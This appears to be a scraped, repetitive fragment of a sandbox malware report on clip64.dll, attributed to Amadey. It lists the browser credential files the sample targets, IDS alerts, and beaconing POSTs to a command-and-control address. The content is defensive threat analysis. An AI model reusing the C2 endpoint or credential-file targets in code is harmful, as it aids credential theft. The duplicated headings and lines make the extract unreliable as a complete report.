Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \SputnikLab\Sputnik\User Data\Local State
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Opera Software\Opera Stable\Login Data
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Opera Software\Opera Stable\Local State
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Microsoft\Edge\User Data\Default\Login Data

Source: Network traffic	Suricata IDS: 2856152 - Severity 1 - ETPRO MALWARE Ameday CnC Response M2 : 185.196.8.37:80 -> 192.168.2.7:49707
Source: Network traffic	Suricata IDS: 2856152 - Severity 1 - ETPRO MALWARE Ameday CnC Response M2 : 185.196.8.37:80 -> 192.168.2.7:49700

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report
clip64.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Initial Sample

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Source: global traffic	HTTP traffic detected: POST /Gd85kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.196.8.37Content-Length: 5Cache-Control: no-cacheData Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Source: global traffic	HTTP traffic detected: POST /Gd85kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.196.8.37Content-Length: 5Cache-Control: no-cacheData Raw: 77 6c 74 3d 31 Data Ascii: wlt=1

Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report clip64.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Initial Sample

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
clip64.dll